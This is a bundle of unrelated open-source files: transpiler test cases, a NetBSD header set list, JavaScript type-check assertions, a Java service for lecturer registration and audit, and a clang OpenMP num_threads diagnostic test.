B[.000004] = function (){};
B[x] = function (){};
B[x-y] = function (){};
B[("Static computed " + name)] = function (){};
`
},
{
description: 'methods with numeric or string names (#139)',
options: { namedFunctionExpressions: false },
input: `
class C {
0(){}
0b101(){}
80(){}
.12e3(){}
0o753(){}
12e34(){}
0xFFFF(){}
"var"(){}
}
`,
output: `
var C = function () {};
C.prototype[0] = function (){};
C.prototype[5] = function (){};
C.prototype[80] = function (){};
C.prototype[.12e3] = function (){};
C.prototype[491] = function (){};
C.prototype[12e34] = function (){};
C.prototype[0xFFFF] = function (){};
C.prototype["var"] = function (){};
`
},
{
description:
'static methods with numeric or string names with varied spacing (#139)',
options: { namedFunctionExpressions: false },
input: `
class D {
static .75(){}
static"Static Method"(){}
static "foo"(){}
}
`,
output: `
var D = function () {};
D[.75] = function (){};
D["Static Method"] = function (){};
D["foo"] = function (){};
`
}
// TODO more tests. e.g. getters and setters.
// 'super.*' is not allowed before super()
];
|
{
"pile_set_name": "Github"
}
|
# $NetBSD: md.emips,v 1.9 2018/07/12 10:46:40 maxv Exp $
./usr/include/emips comp-c-include
./usr/include/emips/ansi.h comp-c-include
./usr/include/emips/asm.h comp-c-include
./usr/include/emips/autoconf.h comp-c-include
./usr/include/emips/bswap.h comp-c-include
./usr/include/emips/bus.h comp-c-include
./usr/include/emips/cdefs.h comp-c-include
./usr/include/emips/cpu.h comp-c-include
./usr/include/emips/disklabel.h comp-c-include
./usr/include/emips/ecoff_machdep.h comp-c-include
./usr/include/emips/elf_machdep.h comp-c-include
./usr/include/emips/emipsreg.h comp-c-include
./usr/include/emips/endian.h comp-c-include
./usr/include/emips/endian_machdep.h comp-c-include
./usr/include/emips/fenv.h comp-c-include
./usr/include/emips/float.h comp-c-include
./usr/include/emips/ieee.h comp-c-include
./usr/include/emips/ieeefp.h comp-c-include
./usr/include/emips/int_const.h comp-c-include
./usr/include/emips/int_fmtio.h comp-c-include
./usr/include/emips/int_limits.h comp-c-include
./usr/include/emips/int_mwgwtypes.h comp-c-include
./usr/include/emips/int_types.h comp-c-include
./usr/include/emips/intr.h comp-c-include
./usr/include/emips/kcore.h comp-c-include
./usr/include/emips/kdbparam.h comp-c-include
./usr/include/emips/limits.h comp-c-include
./usr/include/emips/lock.h comp-c-include
./usr/include/emips/locore.h comp-c-include
./usr/include/emips/math.h comp-c-include
./usr/include/emips/mcontext.h comp-c-include
./usr/include/emips/mips_opcode.h comp-c-include
./usr/include/emips/mutex.h comp-c-include
./usr/include/emips/param.h comp-c-include
./usr/include/emips/pcb.h comp-c-include
./usr/include/emips/pmap.h comp-c-include
./usr/include/emips/pmc.h comp-obsolete obsolete
./usr/include/emips/proc.h comp-c-include
./usr/include/emips/profile.h comp-c-include
./usr/include/emips/psl.h comp-c-include
./usr/include/emips/pte.h comp-c-include
./usr/include/emips/ptrace.h comp-c-include
./usr/include/emips/reg.h comp-c-include
./usr/include/emips/regdef.h comp-c-include
./usr/include/emips/regnum.h comp-c-include
./usr/include/emips/reloc.h comp-c-include
./usr/include/emips/rwlock.h comp-c-include
./usr/include/emips/setjmp.h comp-c-include
./usr/include/emips/signal.h comp-c-include
./usr/include/emips/sljitarch.h comp-obsolete obsolete
./usr/include/emips/stdarg.h comp-obsolete obsolete
./usr/include/emips/trap.h comp-c-include
./usr/include/emips/types.h comp-c-include
./usr/include/emips/varargs.h comp-obsolete obsolete
./usr/include/emips/vmparam.h comp-c-include
./usr/include/emips/wchar_limits.h comp-c-include
./usr/include/ieeefp.h comp-c-include
|
{
"pile_set_name": "Github"
}
|
var assert = require('tap');
var t = require('./lib/util');
assert.equal(t.isArray([]), true);
assert.equal(t.isArray({}), false);
assert.equal(t.isBoolean(null), false);
assert.equal(t.isBoolean(true), true);
assert.equal(t.isBoolean(false), true);
assert.equal(t.isNull(null), true);
assert.equal(t.isNull(undefined), false);
assert.equal(t.isNull(false), false);
assert.equal(t.isNull(), false);
assert.equal(t.isNullOrUndefined(null), true);
assert.equal(t.isNullOrUndefined(undefined), true);
assert.equal(t.isNullOrUndefined(false), false);
assert.equal(t.isNullOrUndefined(), true);
assert.equal(t.isNumber(null), false);
assert.equal(t.isNumber('1'), false);
assert.equal(t.isNumber(1), true);
assert.equal(t.isString(null), false);
assert.equal(t.isString('1'), true);
assert.equal(t.isString(1), false);
assert.equal(t.isSymbol(null), false);
assert.equal(t.isSymbol('1'), false);
assert.equal(t.isSymbol(1), false);
assert.equal(t.isSymbol(Symbol()), true);
assert.equal(t.isUndefined(null), false);
assert.equal(t.isUndefined(undefined), true);
assert.equal(t.isUndefined(false), false);
assert.equal(t.isUndefined(), true);
assert.equal(t.isRegExp(null), false);
assert.equal(t.isRegExp('1'), false);
assert.equal(t.isRegExp(new RegExp()), true);
assert.equal(t.isObject({}), true);
assert.equal(t.isObject([]), true);
assert.equal(t.isObject(new RegExp()), true);
assert.equal(t.isObject(new Date()), true);
assert.equal(t.isDate(null), false);
assert.equal(t.isDate('1'), false);
assert.equal(t.isDate(new Date()), true);
assert.equal(t.isError(null), false);
assert.equal(t.isError({ err: true }), false);
assert.equal(t.isError(new Error()), true);
assert.equal(t.isFunction(null), false);
assert.equal(t.isFunction({ }), false);
assert.equal(t.isFunction(function() {}), true);
assert.equal(t.isPrimitive(null), true);
assert.equal(t.isPrimitive(''), true);
assert.equal(t.isPrimitive(0), true);
assert.equal(t.isPrimitive(new Date()), false);
assert.equal(t.isBuffer(null), false);
assert.equal(t.isBuffer({}), false);
assert.equal(t.isBuffer(new Buffer(0)), true);
|
{
"pile_set_name": "Github"
}
|
package com.roncoo.education.user.service.api.pc.biz;
import java.math.BigDecimal;
import java.util.regex.Pattern;
import com.roncoo.education.user.common.req.*;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.StringUtils;
import com.roncoo.education.user.common.resq.LecturerAuditPageRESQ;
import com.roncoo.education.user.common.resq.LecturerAuditViewRESQ;
import com.roncoo.education.user.common.resq.LecturerExtViewRESQ;
import com.roncoo.education.user.service.dao.LecturerAuditDao;
import com.roncoo.education.user.service.dao.LecturerDao;
import com.roncoo.education.user.service.dao.LecturerExtDao;
import com.roncoo.education.user.service.dao.UserDao;
import com.roncoo.education.user.service.dao.UserExtDao;
import com.roncoo.education.user.service.dao.impl.mapper.entity.Lecturer;
import com.roncoo.education.user.service.dao.impl.mapper.entity.LecturerAudit;
import com.roncoo.education.user.service.dao.impl.mapper.entity.LecturerAuditExample;
import com.roncoo.education.user.service.dao.impl.mapper.entity.LecturerAuditExample.Criteria;
import com.roncoo.education.user.service.dao.impl.mapper.entity.LecturerExt;
import com.roncoo.education.user.service.dao.impl.mapper.entity.User;
import com.roncoo.education.user.service.dao.impl.mapper.entity.UserExt;
import com.roncoo.education.util.base.BaseBiz;
import com.roncoo.education.util.base.BaseException;
import com.roncoo.education.util.base.Page;
import com.roncoo.education.util.base.PageUtil;
import com.roncoo.education.util.base.Result;
import com.roncoo.education.util.enums.AuditStatusEnum;
import com.roncoo.education.util.enums.ResultEnum;
import com.roncoo.education.util.enums.UserTypeEnum;
import com.roncoo.education.util.tools.BeanUtil;
import com.roncoo.education.util.tools.NOUtil;
import com.roncoo.education.util.tools.SignUtil;
import com.roncoo.education.util.tools.StrUtil;
import com.xiaoleilu.hutool.crypto.DigestUtil;
import com.xiaoleilu.hutool.util.ObjectUtil;
@Component
public class PcApiLecturerAuditBiz extends BaseBiz {
@Autowired
private LecturerAuditDao lecturerAuditDao;
@Autowired
private LecturerDao lecturerDao;
@Autowired
private LecturerExtDao lecturerExtDao;
@Autowired
private UserDao userDao;
@Autowired
private UserExtDao userExtDao;
public Result<Page<LecturerAuditPageRESQ>> listForPage(LecturerAuditPageREQ req) {
LecturerAuditExample example = new LecturerAuditExample();
Criteria c = example.createCriteria();
if (StringUtils.hasText(req.getLecturerMobile())) {
c.andLecturerMobileEqualTo(req.getLecturerMobile());
}
if (StringUtils.hasText(req.getLecturerName())) {
c.andLecturerNameLike(PageUtil.rightLike(req.getLecturerName()));
}
if (req.getAuditStatus() != null) {
c.andAuditStatusEqualTo(req.getAuditStatus());
} else {
c.andAuditStatusNotEqualTo(AuditStatusEnum.SUCCESS.getCode());
}
if (req.getStatusId() != null) {
c.andStatusIdEqualTo(req.getStatusId());
}
example.setOrderByClause(" audit_status asc, status_id desc, sort desc, id desc ");
Page<LecturerAudit> page = lecturerAuditDao.listForPage(req.getPageCurrent(), req.getPageSize(), example);
return Result.success(PageUtil.transform(page, LecturerAuditPageRESQ.class));
}
/**
* 添加讲师
*
* @param req
* @return
*/
@Transactional
public Result<Integer> save(LecturerAuditSaveREQ req) {
if (StringUtils.isEmpty(req.getLecturerMobile())) {
return Result.error("手机号不能为空");
}
// 手机号去空处理
String mobile = req.getLecturerMobile().trim();
// 手机号码校验
if (!Pattern.compile(REGEX_MOBILE).matcher(mobile).matches()) {
return Result.error("手机号码格式不正确");
}
// 根据传入手机号获取用户信息(讲师的用户信息)
UserExt userExt = userExtDao.getByMobile(mobile);
// 1、用户不存在,注册用户
if (ObjectUtil.isNull(userExt)) {
if (StringUtils.isEmpty(req.getMobilePsw())) {
return Result.error("密码不能为空");
}
if (!req.getConfirmPasswd().equals(req.getMobilePsw())) {
return Result.error("两次密码不一致,请重试!");
}
// 注册用户
userExt = register(req, mobile);
}
// 2、添加讲师
LecturerAudit lecturerAudit = lecturerAuditDao.getByLecturerUserNo(userExt.getUserNo());
// 校验讲师是否存在
if (ObjectUtil.isNotNull(lecturerAudit)) {
// 讲师存在
if (AuditStatusEnum.SUCCESS.getCode().equals(lecturerAudit.getAuditStatus())) {
// 审核成功
return Result.error(ResultEnum.LECTURER_REQUISITION_YET);
} else if (AuditStatusEnum.WAIT.getCode().equals(lecturerAudit.getAuditStatus())) {
// 待审核
return Result.error(ResultEnum.LECTURER_REQUISITION_WAIT);
} else {
return Result.error(ResultEnum.LECTURER_REQUISITION_FAIL);
}
} else {
// 讲师不存在
int results = lecturerInfo(req, userExt);
if (results < 0) {
return Result.error(ResultEnum.USER_SAVE_FAIL);
}
return Result.success(results);
}
}
/**
* 讲师审核修改
*
* @param req
* @return
*/
public Result<Integer> update(LecturerAuditUpdateREQ req) {
if (StringUtils.isEmpty(req.getId())) {
return Result.error("ID不能为空");
}
LecturerAudit lecturerAudit = lecturerAuditDao.getById(req.getId());
if (ObjectUtil.isNull(lecturerAudit)) {
return Result.error("找不到讲师信息");
}
LecturerAudit record = BeanUtil.copyProperties(req, LecturerAudit.class);
record.setAuditStatus(AuditStatusEnum.WAIT.getCode());
int results = lecturerAuditDao.updateById(record);
if (results < 0) {
return Result.error(ResultEnum.USER_UPDATE_FAIL);
}
return Result.success(results);
}
@Transactional
public Result<Integer> audit(LecturerAuditAuditREQ req) {
if (StringUtils.isEmpty(req.getId())) {
return Result.error("ID不能为空");
}
if (StringUtils.isEmpty(req.getAuditStatus())) {
return Result.error("auditStatus不能为空");
}
LecturerAudit lecturerAudit = lecturerAuditDao.getById(req.getId());
if (ObjectUtil.isNull(lecturerAudit)) {
return Result.error("找不到讲师信息");
}
if (AuditStatusEnum.SUCCESS.getCode().equals(req.getAuditStatus())) {
// 查找讲师信息表,是否存在该讲师
Lecturer lecturer = lecturerDao.getByLecturerUserNo(lecturerAudit.getLecturerUserNo());
if (ObjectUtil.isNull(lecturer)) {
// 插入
lecturer = BeanUtil.copyProperties(lecturerAudit, Lecturer.class);
lecturer.setGmtCreate(null);
lecturer.setGmtModified(null);
lecturerDao.save(lecturer);
} else {
// 更新
lecturer = BeanUtil.copyProperties(lecturerAudit, Lecturer.class);
lecturer.setGmtCreate(null);
lecturer.setGmtModified(null);
lecturerDao.updateById(lecturer);
}
// 查找用户信息是否存在
UserExt userExt = userExtDao.getByUserNo(lecturer.getLecturerUserNo());
if (ObjectUtil.isNull(userExt)) {
return Result.error("获取不到用户信息");
}
// 存在更新为讲师类型
userExt.setUserType(UserTypeEnum.LECTURER.getCode());
userExtDao.updateById(userExt);
}
LecturerAudit record = BeanUtil.copyProperties(req, LecturerAudit.class);
int results = lecturerAuditDao.updateById(record);
if (results < 0) {
return Result.error(ResultEnum.USER_LECTURER_AUDIT);
}
return Result.success(results);
}
public Result<LecturerAuditViewRESQ> view(LecturerAuditViewREQ req) {
if (StringUtils.isEmpty(req.getId())) {
return Result.error("ID不能为空");
}
LecturerAudit record = lecturerAuditDao.getById(req.getId());
if (ObjectUtil.isNull(record)) {
return Result.error("找不到讲师编号");
}
LecturerAuditViewRESQ resq = BeanUtil.copyProperties(record, LecturerAuditViewRESQ.class);
// 查找讲师账户信息
LecturerExt lecturerExt = lecturerExtDao.getByLecturerUserNo(resq.getLecturerUserNo());
resq.setLecturerExt(BeanUtil.copyProperties(lecturerExt, LecturerExtViewRESQ.class));
return Result.success(resq);
}
/**
* 添加用户信息
*/
private UserExt register(LecturerAuditSaveREQ req, String mobile) {
// 用户基本信息
User user = new User();
user.setUserNo(NOUtil.getUserNo());
user.setMobile(mobile);
user.setMobileSalt(StrUtil.get32UUID());
user.setMobilePsw(DigestUtil.sha1Hex(user.getMobileSalt() + req.getMobilePsw()));
userDao.save(user);
// 用户教育信息
UserExt userExt = new UserExt();
userExt.setUserNo(user.getUserNo());
userExt.setMobile(user.getMobile());
userExt.setNickname(req.getLecturerName());
userExtDao.save(userExt);
return userExt;
}
/**
* 添加讲师信息
*/
private int lecturerInfo(LecturerAuditSaveREQ req, UserExt userExt) {
// 插入讲师信息
LecturerAudit infoAudit = BeanUtil.copyProperties(req, LecturerAudit.class);
if (!StringUtils.isEmpty(userExt.getHeadImgUrl())) {
infoAudit.setHeadImgUrl(userExt.getHeadImgUrl());
}
infoAudit.setLecturerUserNo(userExt.getUserNo());
infoAudit.setLecturerProportion(LECTURER_DEFAULT_PROPORTION);// 设置讲师默认分成百分之70
int infoAuditNum = lecturerAuditDao.save(infoAudit);
if (infoAuditNum < 1) {
throw new BaseException("讲师信息表新增失败");
}
// 插入讲师账户
LecturerExt lecturerExt = new LecturerExt();
lecturerExt.setLecturerUserNo(infoAudit.getLecturerUserNo());
lecturerExt.setTotalIncome(BigDecimal.ZERO);
lecturerExt.setHistoryMoney(BigDecimal.ZERO);
lecturerExt.setEnableBalances(BigDecimal.ZERO);
lecturerExt.setFreezeBalances(BigDecimal.ZERO);
lecturerExt.setSign(SignUtil.getByLecturer(lecturerExt.getTotalIncome(), lecturerExt.getHistoryMoney(), lecturerExt.getEnableBalances(), lecturerExt.getFreezeBalances()));
int lecturerExtNum = lecturerExtDao.save(lecturerExt);
if (lecturerExtNum < 1) {
throw new BaseException("讲师账户表新增失败");
}
return lecturerExtNum;
}
public Result<Integer> check(LecturerAuditCheckMobileREQ req) {
if (StringUtils.isEmpty(req.getLecturerMobile())) {
return Result.error("手机号不能为空");
}
// 手机号去空处理
String mobile = req.getLecturerMobile().trim();
// 手机号码校验
if (!Pattern.compile(REGEX_MOBILE).matcher(mobile).matches()) {
return Result.error("手机号码格式不正确");
}
// 根据传入手机号获取用户信息(讲师的用户信息)
UserExt userExt = userExtDao.getByMobile(mobile);
// 1、用户不存在,注册用户
if (ObjectUtil.isNull(userExt)) {
return Result.success(501);
}
// 2、添加讲师
LecturerAudit lecturerAudit = lecturerAuditDao.getByLecturerUserNo(userExt.getUserNo());
// 校验讲师是否存在
if (ObjectUtil.isNotNull(lecturerAudit)) {
// 讲师存在
if (AuditStatusEnum.SUCCESS.getCode().equals(lecturerAudit.getAuditStatus())) {
// 审核成功
return Result.success(503);
} else if (AuditStatusEnum.WAIT.getCode().equals(lecturerAudit.getAuditStatus())) {
// 待审核
return Result.success(502);
} else {
return Result.success(506);
}
}
// 讲师不存在
return Result.success(1);
}
}
|
{
"pile_set_name": "Github"
}
|
// RUN: %clang_cc1 -verify -fopenmp -ferror-limit 100 %s
// RUN: %clang_cc1 -verify -fopenmp-simd -ferror-limit 100 %s
void foo() {
}
bool foobool(int argc) {
return argc;
}
struct S1; // expected-note {{declared here}}
template <class T, typename S, int N> // expected-note {{declared here}}
T tmain(T argc, S **argv) {
T i;
#pragma omp parallel for num_threads // expected-error {{expected '(' after 'num_threads'}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads ( // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads () // expected-error {{expected expression}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argc // expected-error {{expected ')'}} expected-note {{to match this '('}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argc)) // expected-warning {{extra tokens at the end of '#pragma omp parallel for' are ignored}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads ((argc > 0) ? argv[1] : argv[2]) // expected-error 2 {{expression must have integral or unscoped enumeration type, not 'char *'}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (foobool(argc)), num_threads (true), num_threads (-5) // expected-error 2 {{directive '#pragma omp parallel for' cannot contain more than one 'num_threads' clause}} expected-error {{argument to 'num_threads' clause must be a strictly positive integer value}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (S) // expected-error {{'S' does not refer to a value}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argv[1]=2) // expected-error {{expected ')'}} expected-note {{to match this '('}} expected-error 2 {{expression must have integral or unscoped enumeration type, not 'char *'}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argc)
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (N) // expected-error {{argument to 'num_threads' clause must be a strictly positive integer value}}
for (i = 0; i < argc; ++i) foo();
return argc;
}
int main(int argc, char **argv) {
int i;
#pragma omp parallel for num_threads // expected-error {{expected '(' after 'num_threads'}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads ( // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads () // expected-error {{expected expression}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argc // expected-error {{expected ')'}} expected-note {{to match this '('}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argc)) // expected-warning {{extra tokens at the end of '#pragma omp parallel for' are ignored}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argc > 0 ? argv[1] : argv[2]) // expected-error {{integral }}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (foobool(argc)), num_threads (true), num_threads (-5) // expected-error 2 {{directive '#pragma omp parallel for' cannot contain more than one 'num_threads' clause}} expected-error {{argument to 'num_threads' clause must be a strictly positive integer value}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (S1) // expected-error {{'S1' does not refer to a value}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (argv[1]=2) // expected-error {{expected ')'}} expected-note {{to match this '('}} expected-error {{expression must have integral or unscoped enumeration type, not 'char *'}}
for (i = 0; i < argc; ++i) foo();
#pragma omp parallel for num_threads (num_threads(tmain<int, char, -1>(argc, argv) // expected-error 2 {{expected ')'}} expected-note 2 {{to match this '('}} expected-note {{in instantiation of function template specialization 'tmain<int, char, -1>' requested here}}
for (i = 0; i < argc; ++i) foo();
return tmain<int, char, 3>(argc, argv); // expected-note {{in instantiation of function template specialization 'tmain<int, char, 3>' requested here}}
}
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.